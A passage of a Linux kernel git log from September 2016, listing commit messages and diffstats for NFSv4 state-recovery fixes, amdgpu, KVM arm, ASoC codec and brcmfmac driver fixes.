fs/nfs/nfs4proc.c | 2 ++ 1 file changed, 2 insertions(+) commit b134fc4a533300402514154fcb0a661ddf106dd9 Author: Trond Myklebust Date: Thu Sep 22 13:39:16 2016 -0400 NFSv4: Don't test open_stateid unless it is set We need to test the NFS_OPEN_STATE flag for whether or not the open_stateid is valid. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 5 +++++ 1 file changed, 5 insertions(+) commit 272289a3df7297fd798a8ddf652c6d29f675de28 Author: Trond Myklebust Date: Thu Sep 22 13:39:15 2016 -0400 NFSv4: nfs4_do_handle_exception() handle revoke/expiry of a single stateid If we're not yet sure that all state has expired or been revoked, we should try to do a minimal recovery on just the one stateid. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) commit 7f04883146b7cb1db57c3479820cbed511cafd05 Author: Trond Myklebust Date: Thu Sep 22 13:39:14 2016 -0400 NFS: Always call nfs_inode_find_state_and_recover() when revoking a delegation Don't rely on nfs_inode_detach_delegation() succeeding. That can race... Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 1393d9612ba02d8bb8dae1dab319807e92354fe3 Author: Trond Myklebust Date: Thu Sep 22 13:39:13 2016 -0400 NFSv4: Fix a race when updating an open_stateid If we're replacing an old stateid which has a different 'other' field, then we probably need to free the old stateid. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 35 ++++++++++++++++++++++++++--------- 1 file changed, 26 insertions(+), 9 deletions(-) commit b1a318de9bc4946ad4a20481ab3ce28c2e8cd72c Author: Trond Myklebust Date: Thu Sep 22 13:39:12 2016 -0400 NFSv4: Fix a race in nfs_inode_reclaim_delegation() If we race with a delegreturn before taking the spin lock, we currently end up dropping the delegation stateid. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 9c27869d3f0680fa01d15616891a666d9e30fd83 Author: Trond Myklebust Date: Thu Sep 22 13:39:11 2016 -0400 NFSv4: Pass the stateid to the exception handler in nfs4_read/write_done_cb The actual stateid used in the READ or WRITE can represent a delegation, a lock or a stateid, so it is useful to pass it as an argument to the exception handler when an expired/revoked response is received from the server. It also ensures that we don't re-label the state as needing recovery if that has already occurred. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 35 +++++++++++++++++++++++++---------- 1 file changed, 25 insertions(+), 10 deletions(-) commit 26f474432a7b4be336ed40d94f5a8245781cfc67 Author: Trond Myklebust Date: Thu Sep 22 13:39:10 2016 -0400 NFSv4.1: nfs4_layoutget_handle_exception handle revoked state Handle revoked open/lock/delegation stateids when LAYOUTGET tells us the state was revoked. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 3 +++ 1 file changed, 3 insertions(+) commit d7f3e4bfe78847aa792c86a348f0473ae3a8800f Author: Trond Myklebust Date: Thu Sep 22 13:39:09 2016 -0400 NFSv4: nfs4_handle_setlk_error() handle expiration as revoke case If the server tells us our stateid has expired, then handle that as if it was revoked. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 404ea3569af1e1d288db6ff0e7230104a3687f3c Author: Trond Myklebust Date: Thu Sep 22 13:39:08 2016 -0400 NFSv4: nfs4_handle_delegation_recall_error() handle expiration as revoke case If the server tells us our stateid has expired, then handle that as if it was revoked. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6c2d8f8d307033a7cdfee3f4cb9dc4679ab69513 Author: Trond Myklebust Date: Thu Sep 22 13:39:07 2016 -0400 NFSv4: nfs_inode_find_state_and_recover() should check all stateids Modify the helper nfs_inode_find_state_and_recover() so that it can check all open/lock/delegation state trackers on that inode for whether or not they need are affected by a revoked stateid error. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 19 +++++++++++++++++++ fs/nfs/delegation.h | 2 ++ fs/nfs/nfs4state.c | 44 +++++++++++++++++++++++++++++++++++++++----- 3 files changed, 60 insertions(+), 5 deletions(-) commit 059b43e9744efe5b6f8e83516d2a0e813bfaee70 Author: Trond Myklebust Date: Thu Sep 22 13:39:06 2016 -0400 NFSv4: Ensure we don't re-test revoked and freed stateids This fixes a potential infinite loop in nfs_reap_expired_delegations. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 3 +++ 1 file changed, 3 insertions(+) commit 26d36301bd653df6481fd38f3e1435a1f15e56d1 Author: Trond Myklebust Date: Thu Sep 22 13:39:05 2016 -0400 NFSv4.1: Ensure we call FREE_STATEID if needed on close/delegreturn/locku If a server returns NFS4ERR_ADMIN_REVOKED, NFS4ERR_DELEG_REVOKED or NFS4ERR_EXPIRED on a call to close, open_downgrade, delegreturn, or locku, we should call FREE_STATEID before attempting to recover. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 43 ++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 40 insertions(+), 3 deletions(-) commit f0b0bf8826145f2da8b13f375177e907ae44b796 Author: Trond Myklebust Date: Thu Sep 22 13:39:04 2016 -0400 NFSv4.1: FREE_STATEID can be asynchronous Nothing should need to be serialised with FREE_STATEID on the client, so let's make the RPC call always asynchronous. Also constify the stateid argument. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 31 ++++++++++++------------------- 1 file changed, 12 insertions(+), 19 deletions(-) commit c5896fc8622d57b31e1e98545d67d7089019e478 Author: Trond Myklebust Date: Thu Sep 22 13:39:03 2016 -0400 NFSv4.1: Ensure we always run TEST/FREE_STATEID on locks Right now, we're only running TEST/FREE_STATEID on the locks if the open stateid recovery succeeds. The protocol requires us to always do so. The fix would be to move the call to TEST/FREE_STATEID and do it before we attempt open recovery. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 92 +++++++++++++++++++++++++++++++------------------------ 1 file changed, 52 insertions(+), 40 deletions(-) commit f7a62adad01cdb2b64c5a17cdd440736b99a5829 Author: Trond Myklebust Date: Thu Sep 22 13:39:02 2016 -0400 NFSv4.1: Allow revoked stateids to skip the call to TEST_STATEID In some cases (e.g. when the SEQ4_STATUS_EXPIRED_ALL_STATE_REVOKED sequence flag is set) we may already know that the stateid was revoked and that the only valid operation we can call is FREE_STATEID. In those cases, allow the stateid to carry the information in the type field, so that we skip the redundant call to TEST_STATEID. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 32 +++++++++++++++++++++++--------- include/linux/nfs4.h | 1 + 2 files changed, 24 insertions(+), 9 deletions(-) commit 63d63cbf5e03f47c99baa0a1ba1c345fe426e3bd Author: Trond Myklebust Date: Thu Sep 22 13:39:01 2016 -0400 NFSv4.1: Don't recheck delegations that have already been checked Ensure we don't spam the server with test_stateid() calls for delegations that have already been checked. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 5 +++++ 1 file changed, 5 insertions(+) commit bb3d1a3b24b61d8dd87e2d8c127a92ec8dd5d0d4 Author: Trond Myklebust Date: Thu Sep 22 13:39:00 2016 -0400 NFSv4.1: Deal with server reboots during delegation expiration recovery Ensure that if the server reboots while we're testing and recovering from revoked delegations, we exit to allow the state manager to handle matters. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) commit 45870d6909d5a1f702d2a3781d8fc831301d13c8 Author: Trond Myklebust Date: Thu Sep 22 13:38:59 2016 -0400 NFSv4.1: Test delegation stateids when server declares "some state revoked" According to RFC5661, if any of the SEQUENCE status bits SEQ4_STATUS_EXPIRED_ALL_STATE_REVOKED, SEQ4_STATUS_EXPIRED_SOME_STATE_REVOKED, SEQ4_STATUS_ADMIN_STATE_REVOKED, or SEQ4_STATUS_RECALLABLE_STATE_REVOKED are set, then we need to use TEST_STATEID to figure out which stateids have been revoked, so we can acknowledge the loss of state using FREE_STATEID. While we already do this for open and lock state, we have not been doing so for all the delegations. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 97 ++++++++++++++++++++++++++++++++++++++++++++++++++++- fs/nfs/delegation.h | 4 +++ fs/nfs/nfs4_fs.h | 3 ++ fs/nfs/nfs4proc.c | 10 ++++++ fs/nfs/nfs4state.c | 17 +++++----- 5 files changed, 122 insertions(+), 9 deletions(-) commit 41020b671aa553f31e766fd1e9d38598eba72bd6 Author: Trond Myklebust Date: Thu Sep 22 13:38:58 2016 -0400 NFSv4.x: Allow callers of nfs_remove_bad_delegation() to specify a stateid Allow the callers of nfs_remove_bad_delegation() to specify the stateid that needs to be marked as bad. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 30 +++++++++++++++++++++++------- fs/nfs/delegation.h | 2 +- fs/nfs/flexfilelayout/flexfilelayout.c | 2 +- fs/nfs/nfs4proc.c | 14 ++++++++------ 4 files changed, 33 insertions(+), 15 deletions(-) commit 4586f6e2832776e070cc5eb88c2b2f0177e928ae Author: Trond Myklebust Date: Thu Sep 22 13:38:57 2016 -0400 NFSv4.1: Add a helper function to deal with expired stateids In NFSv4.1 and newer, if the server decides to revoke some or all of the protocol state, the client is required to iterate through all the stateids that it holds and call TEST_STATEID to determine which stateids still correspond to valid state, and then call FREE_STATEID on the others. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 45 ++++++++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 21 deletions(-) commit 43912bbbae26ed258cc1d5c39b9727cd8ae60783 Author: Trond Myklebust Date: Thu Sep 22 13:38:56 2016 -0400 NFSv4.1: Allow test_stateid to handle session errors without waiting If the server crashes while we're testing stateids for validity, then we want to initiate session recovery. Usually, we will be calling from a state manager thread, though, so we don't really want to wait. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) commit 4c8e5447465c9cf92ff1c5e36e8f316b69d46aa8 Author: Trond Myklebust Date: Thu Sep 22 13:38:55 2016 -0400 NFSv4.1: Don't check delegations that are already marked as revoked If the delegation has been marked as revoked, we don't have to test it, because we should already have called FREE_STATEID on it. Signed-off-by: Trond Myklebust Tested-by: Olek Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 5 +++++ 1 file changed, 5 insertions(+) commit aa05c87f23efe417adc7ff9b4193b7201ec0dd79 Author: Trond Myklebust Date: Thu Sep 22 13:38:54 2016 -0400 NFSv4: nfs4_copy_delegation_stateid() must fail if the delegation is invalid We must not allow the use of delegations that have been revoked or are being returned. Signed-off-by: Trond Myklebust Fixes: 869f9dfa4d6d ("NFSv4: Fix races between nfs_remove_bad_delegation()...") Signed-off-by: Trond Myklebust Cc: stable@vger.kernel.org # v3.19+ Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) commit b3f9e7239074613aa6bdafa4caf7c104fe1e7276 Author: Trond Myklebust Date: Thu Sep 22 13:38:53 2016 -0400 NFSv4: Don't report revoked delegations as valid in nfs_have_delegation() If the delegation is revoked, then it can't be used for caching. Fixes: 869f9dfa4d6d ("NFSv4: Fix races between nfs_remove_bad_delegation()...") Signed-off-by: Trond Myklebust Cc: stable@vger.kernel.org # v3.19+ Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/delegation.c | 1 + 1 file changed, 1 insertion(+) commit 7dc72d5f7a0ec97a53e126c46e2cbd2560757955 Author: Trond Myklebust Date: Thu Sep 22 13:38:52 2016 -0400 NFS: Fix inode corruption in nfs_prime_dcache() Due to inode number reuse in filesystems, we can end up corrupting the inode on our client if we apply the file attributes without ensuring that the filehandle matches. Typical symptoms include spurious "mode changed" reports in the syslog. We still do want to ensure that we don't invalidate the dentry if the inode number matches, but we don't have a filehandle. Fixes: fa9233699cc1 ("NFS: Don't require a filehandle to refresh...") Signed-off-by: Trond Myklebust Cc: stable@vger.kernel.org # v4.0+ Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/dir.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 0a014a44a50839a8064618e959fae5bbc44c2fd5 Author: Trond Myklebust Date: Thu Sep 22 13:38:51 2016 -0400 NFSv4.1: Don't deadlock the state manager on the SEQUENCE status flags As described in RFC5661, section 18.46, some of the status flags exist in order to tell the client when it needs to acknowledge the existence of revoked state on the server and/or to recover state. Those flags will then remain set until the recovery procedure is done. In order to avoid looping, the client therefore needs to ignore those particular flags while recovering. Signed-off-by: Trond Myklebust Tested-by: Oleg Drokin Signed-off-by: Anna Schumaker fs/nfs/nfs4_fs.h | 2 +- fs/nfs/nfs4proc.c | 5 ++++- fs/nfs/nfs4session.h | 1 + fs/nfs/nfs4state.c | 12 +++++++++++- 4 files changed, 17 insertions(+), 3 deletions(-) commit a9e57009dacd58052755cf58463ce41a14a01db5 Author: Adrian Hunter Date: Fri Sep 23 17:38:33 2016 +0300 perf record: Fix documentation 'event_sources' -> 'event_source' Change '/sys/bus/event_sources' to the correct path which is '/sys/bus/event_source'. Signed-off-by: Adrian Hunter Cc: Jiri Olsa Cc: Masami Hiramatsu Cc: Mathieu Poirier Link: http://lkml.kernel.org/r/1474641528-18776-2-git-send-email-adrian.hunter@intel.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf-record.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 4cd00d37559badddb9e55851bb07c398ec3607ae Author: Grazvydas Ignotas Date: Sun Sep 25 23:34:49 2016 +0300 drm/amdgpu/vce3: don't forget to tear down some rings We can use .num_rings for that. Fixes: 6f0359ff7307 ("vce3: add support for third vce ring") Cc: Alex Deucher Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 44f9d7b3f1096ec5c90b2396f600f385f4bf4a00 Author: Grazvydas Ignotas Date: Sun Sep 25 23:34:50 2016 +0300 drm/amdgpu/i2c: add const where appropriate Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_i2c.c | 14 +++++++------- drivers/gpu/drm/amd/amdgpu/amdgpu_i2c.h | 14 +++++++------- 2 files changed, 14 insertions(+), 14 deletions(-) commit 54ddf3a6af537cbfe038f9a2754f26de80c5818b Author: Grazvydas Ignotas Date: Sun Sep 25 23:34:46 2016 +0300 drm/amdgpu: don't leave dangling pointers around Right now it's possible to trigger fence_drv.fences[] dereference after the array has been freed. While the real problem is elsewhere, this still results in confusing errors that depend on how the freed memory was reused (I've seen "kernel tried to execute NX-protected page"), it's better to clear them and get NULL dereference so that it's obvious what's going wrong. Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ctx.c | 2 ++ drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 1 + 2 files changed, 3 insertions(+) commit d8907643cc6b00e96aeb1555f0e0c2930f69c18b Author: Grazvydas Ignotas Date: Sun Sep 25 23:34:47 2016 +0300 drm/amdgpu: clear ring pointer in amdgpu_device on teardown This is in symmetry to setup done in amdgpu_ring_init. Signed-off-by: Grazvydas Ignotas Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ring.c | 2 ++ 1 file changed, 2 insertions(+) commit 24c5fe56b25eaf05aa2ce1dfebac707c58208ea4 Author: Alex Deucher Date: Mon Sep 26 15:19:14 2016 -0400 drm/amdgpu/vce: take all rings into account for idle checks Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit b62b5931bd838db3d0376c76a44d508509973d3d Author: Alex Deucher Date: Mon Sep 26 16:44:54 2016 -0400 drm/amdgpu: add version bump for raster config programming Reviewed-by: Christian König Reviewed-by: Marek Olšák Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit d7a4ac667eab23307e82100cbceb781936a4500f Author: Christian König Date: Sun Sep 25 11:54:00 2016 +0200 drm/amdgpu: fix addr handling in amdgpu_vm_bo_update_mapping Otherwise we will look at the wrong place in the IB when GART mappings are split into smaller updates. Signed-off-by: Christian König Reviewed-by: Alex Deucher Acked-by: Tom StDenis Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 1 + 1 file changed, 1 insertion(+) commit 3374dcebb827307bc9487dcf4a7b61b8e6004b28 Author: Rex Zhu Date: Sat Sep 24 16:34:59 2016 +0800 drm/amdgpu: bypass vce clock if vce is idle on Fiji. Reviewed-by: Alex Deucher Signed-off-by: Rex Zhu Reviewed-by: Hawking Zhang Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 0099b7701f5296a758d9e6b945ec96f96847cc2f Author: Christoffer Dall Date: Tue Sep 27 18:53:35 2016 +0200 KVM: arm/arm64: vgic: Don't flush/sync without a working vgic If the vgic hasn't been created and initialized, we shouldn't attempt to look at its data structures or flush/sync anything to the GIC hardware. This fixes an issue reported by Alexander Graf when using a userspace irqchip. Fixes: 0919e84c0fc1 ("KVM: arm/arm64: vgic-new: Add IRQ sync/flush framework") Cc: stable@vger.kernel.org Reported-by: Alexander Graf Acked-by: Marc Zyngier Signed-off-by: Christoffer Dall virt/kvm/arm/vgic/vgic.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 6fe407f2d18a4f94216263f91cb7d1f08fa5887c Author: Christoffer Dall Date: Mon Sep 26 18:51:47 2016 -0700 KVM: arm64: Require in-kernel irqchip for PMU support If userspace creates a PMU for the VCPU, but doesn't create an in-kernel irqchip, then we end up in a nasty path where we try to take an uninitialized spinlock, which can lead to all sorts of breakages. Luckily, QEMU always creates the VGIC before the PMU, so we can establish this as ABI and check for the VGIC in the PMU init stage. This can be relaxed at a later time if we want to support PMU with a userspace irqchip. Cc: stable@vger.kernel.org Cc: Shannon Zhao Acked-by: Marc Zyngier Signed-off-by: Christoffer Dall Documentation/virtual/kvm/devices/vcpu.txt | 4 +++- virt/kvm/arm/pmu.c | 8 ++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) commit a56a569818ea831ed2325dc5d1122dc0b8a229d0 Author: Takashi Sakamoto Date: Tue Sep 27 07:45:07 2016 +0900 ASoC: da7219: fix inappropriate condition statement Sparse reports a below warning. sound/soc/codecs/da7219.c:804:57: warning: dubious: x & !y The line includes a condition statement; '(a < b) & !c'. Practically, the evaluated value of this statement equals to the value of '(a < b) && !c'. Although, it's not an usual way to use bitwise operations as logical operations to several conditions. This commit fixes the bug. Signed-off-by: Takashi Sakamoto Acked-by: Adam Thomson Signed-off-by: Mark Brown sound/soc/codecs/da7219.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3520646dbb22832fa65dae6899d8cb068257d4aa Author: Nikita Yushchenko Date: Tue Sep 27 11:30:15 2016 +0300 ASoC: tlv320aic31xx: do not declare support for mono DAI This hardware supports only 2-channel DAI, even mono ADC digital output has two channels with the same data. Having min_channels=1 results in broken playback of mono files in setups where CPU DAI supports mono. Signed-off-by: Nikita Yushchenko Signed-off-by: Mark Brown sound/soc/codecs/tlv320aic31xx.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit f2b2f6dcd48adf81007b66e39bb7ca21d9bde250 Author: Takashi Sakamoto Date: Tue Sep 27 08:25:29 2016 +0900 ASoC: stac9766: fix wrong usage of DECLARE_TLV_DB_LINEAR() As long as reading datasheet of STAC9766/9767, this driver includes wrong usage of DECLARE_TLV_DB_LINEAR(). In "8.1.2. Master Volume Registers", attenuation of lineout volumes is represented in 5 bits by -1.5 dB/step from 0 to -46.5 dB. Thus, 'master_tlv' should be dB step representation. In "8.1.14. Record Gain", gain of volumes is represented in 4 bits by 1.5 dB/step from 0 to 22.5 dB. Thus, 'record_tlv' should be dB step representation. In "8.1.5. PC BEEP Volume", attenuation of volume is represented in 4 bits by -3 dB/step from 0 to 45 dB. Thus, 'beep_tlv' should be dB step representation. In "8.1.7. Stereo or Mic Volume" and so on, gain of volumes is represented in 5 bits by -1.5 dB from 12 to -34.5 dB. Thus, 'mix_tlv' should be dB step representation. Totally, current implementation includes misuse of TLV-related macro. This commit replaces usage of DECLARE_TLV_DB_LINEAR() with SNDRV_CTL_TLVD_DECLARE_DB_SCALE(), to give proper information to applications in user land. Signed-off-by: Takashi Sakamoto Signed-off-by: Mark Brown sound/soc/codecs/stac9766.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit c7e9426a02699b9f0873e3c2bb383bcb1dd9ab19 Author: Takashi Sakamoto Date: Tue Sep 27 08:25:28 2016 +0900 ASoC: wm8991: remove unused variable This driver has some unused variables. They should be removed. Signed-off-by: Takashi Sakamoto Acked-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm8991.c | 2 -- 1 file changed, 2 deletions(-) commit 98695eab3c2de34265ac797b1c057215f8e78a1a Author: Takashi Sakamoto Date: Tue Sep 27 08:25:27 2016 +0900 ASoC: wm8991: fix wrong usage of DECLARE_TLV_DB_LINEAR() As long as reading datasheet of WM8991, this driver includes wrong usage of DECLARE_TLV_DB_LINEAR(). In "Table 6 Input PGA Volume Range", volume is represented in 5 bits by 1.5 dB/step between -16.5/30.0 dB. Thus, 'in_pga_tlv' should be dB step representation. In "Table 34 LOMIX and ROMIX Volume Range", volume is represented in three bits by -3 dB/step from 0 to -21 dB. Thus, 'out_mix_tlv' should be dB step represenation. In "Table 36 LOPGA, ROPGA, LOUT, ROUT and SPKVOL Volume Range", volume is represented in 7 bits by 1 dB/step from -73 to 6 dB, including mute. Thus, 'out_pga_tlv' should be dB step representation. In "Table 26 Digital Volume Range", volume is represented in 8 bits by 3/8 dB/step from -71.625 to 0 dB. Thus, 'out_dac_tlv' should be dB step representation. In "Table 16 ADC Digital Volume Range", volume is represented in 8 bits by 3/8 dB/step from -71.625 to 17.625 dB. Thus, 'in_adc_tlv' should be dB step representation. In "Table 23 Digital Sidetone Volume", volume is represented in 5 bits by 3 dB/step from -36 to 0 dB. Thus, 'out_sidetone_tlv' should be dB step representation. In "Table 12 Left Input Mixer Volume Control", volume is represented in 3 bits by 3 dB/step from -12 to 6 dB Totally, current implementation includes misuse of TLV-related macro. This commit replaces usage of DECLARE_TLV_DB_LINEAR() with proper macros, to give proper information to applications in user land. Signed-off-by: Takashi Sakamoto Acked-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm8991.c | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) commit 225c5161b11838f34464cd1f421b232dbae3b6a0 Author: Jan Kara Date: Tue Sep 27 16:35:45 2016 +0200 ext2: Unmap metadata when zeroing blocks When zeroing blocks for DAX allocations, we also have to unmap aliases in the block device mappings. Otherwise writeback can overwrite zeros with stale data from block device page cache. Signed-off-by: Jan Kara fs/ext2/inode.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 3cadd224474d60ee06cebafc63db9cd5f8cc47f7 Author: Takashi Sakamoto Date: Tue Sep 27 07:45:11 2016 +0900 ASOC: tpa6130a2: add static qualifier for file local symbols Sparse reports a below warning. tpa6130a2.c:193:33: warning: symbol 'tpa6130a2_component_driver' was not declared. Should it be static? The symbol is just used inner the file. Forthermore, it's constant. Thus, it's better to add static and const qualifier. This commit adds it. Fixes: cb7e62256e99 (ASoC: tpa6130a2: Register component) Signed-off-by: Takashi Sakamoto Signed-off-by: Mark Brown sound/soc/codecs/tpa6130a2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5919a3898136aae4d2cb4b18b44f70f7b185aa47 Author: Takashi Sakamoto Date: Tue Sep 27 07:45:08 2016 +0900 ASoC: sst-bxt-rt298: fix obsoleted initializers for array Sparse reports below warnings. bxt_rt298.c:275:9: warning: obsolete array initializer, use C99 syntax bxt_rt298.c:290:9: warning: obsolete array initializer, use C99 syntax bxt_rt298.c:304:9: warning: obsolete array initializer, use C99 syntax bxt_rt298.c:317:9: warning: obsolete array initializer, use C99 syntax bxt_rt298.c:331:9: warning: obsolete array initializer, use C99 syntax bxt_rt298.c:344:9: warning: obsolete array initializer, use C99 syntax bxt_rt298.c:357:9: warning: obsolete array initializer, use C99 syntax There's no need to use obsoleted way. This commit fixes it. Fixes: 76016322ec56 (ASoC: Intel: Add Broxton-P machine driver) Signed-off-by: Takashi Sakamoto Acked-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/boards/bxt_rt298.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 43d443dc257c00ef3a3f940b6abfb7537c4fcbe8 Author: Takashi Sakamoto Date: Tue Sep 27 07:45:09 2016 +0900 ASoC: sst-bxt-da7219_max98357a: fix obsoleted initializers for array Sparse reports below warnings. bxt_da7219_max98357a.c:250:9: warning: obsolete array initializer, use C99 syntax bxt_da7219_max98357a.c:275:9: warning: obsolete array initializer, use C99 syntax bxt_da7219_max98357a.c:290:9: warning: obsolete array initializer, use C99 syntax bxt_da7219_max98357a.c:304:9: warning: obsolete array initializer, use C99 syntax bxt_da7219_max98357a.c:317:9: warning: obsolete array initializer, use C99 syntax There's no need to use obsoleted way. This commit fixes it. Fixes: 723bad3fef8b (ASoC: Intel: Add Broxton-P Dialog Maxim machine driver) Signed-off-by: Takashi Sakamoto Acked-by: Vinod Koul Signed-off-by: Mark Brown sound/soc/intel/boards/bxt_da7219_max98357a.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit b74e7a26311a14f61fbcd516fb475dd79ea9c4b0 Author: Takashi Sakamoto Date: Tue Sep 27 07:45:10 2016 +0900 ASoC: rt5616: add static qualifier for file local symbols Sparse reports below warnings. rt5616.c:1270:24: warning: symbol 'rt5616_aif_dai_ops' was not declared. Should it be static? rt5616.c:1277:27: warning: symbol 'rt5616_dai' was not declared. Should it be static? These two symbols are just used inner the file, thus it's better to add static qualifier. This commit adds it. Signed-off-by: Takashi Sakamoto Signed-off-by: Mark Brown sound/soc/codecs/rt5616.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8c7788f34e11f4c52d6a8a1340a8bd61476acabb Author: Charles Keepax Date: Tue Sep 27 16:35:45 2016 +0100 ASoC: arizona: Add output power up/down delays for speaker path The later Arizona parts do run write sequences to power up and down the speaker path as such a delay needs to be inserted into the DAPM sequence to allow this to run. This patch adds appropriate delays into the existing coalesced delay scheme. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 44 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 39 insertions(+), 5 deletions(-) commit d605bd024e085ba7fe0fbedf1707d339ea9cc0af Author: Charles Keepax Date: Tue Sep 27 16:35:44 2016 +0100 ASoC: arizona: Add debug prints for output power up/down times When debugging it is useful to check the total power up/down delay that is executed as part of the coalesced output delay. This patch adds some debug prints for this. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 4 ++++ 1 file changed, 4 insertions(+) commit 7f00ee2bbc630900ba16fc2690473f3e2db0e264 Author: Rafał Miłecki Date: Tue Sep 27 14:11:04 2016 +0200 brcmfmac: use correct skb freeing helper when deleting flowring Flowrings contain skbs waiting for transmission that were passed to us by netif. It means we checked every one of them looking for 802.1x Ethernet type. When deleting flowring we have to use freeing function that will check for 802.1x type as well. Freeing skbs without a proper check was leading to counter not being properly decreased. This was triggering a WARNING every time brcmf_netdev_wait_pend8021x was called. Signed-off-by: Rafał Miłecki Acked-by: Arend van Spriel Cc: stable@vger.kernel.org # 4.5+ Signed-off-by: Kalle Valo drivers/net/wireless/broadcom/brcm80211/brcmfmac/flowring.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 2f0e56fa37cce60a5ac5d451bcadec51cd711436 Author: Rafał Miłecki Date: Tue Sep 27 12:12:24 2016 +0200 brcmfmac: replace WARNING on timeout with a simple error message Even with timeout increased to 950 ms we get WARNINGs from time to time. It mostly happens on A-MPDU stalls (e.g. when station goes out of range). It may take up to 5-10 secods for the firmware to recover and for that time it doesn't process packets. It's still useful to have a message on time out as it may indicate some firmware problem and incorrect key update. Raising a WARNING 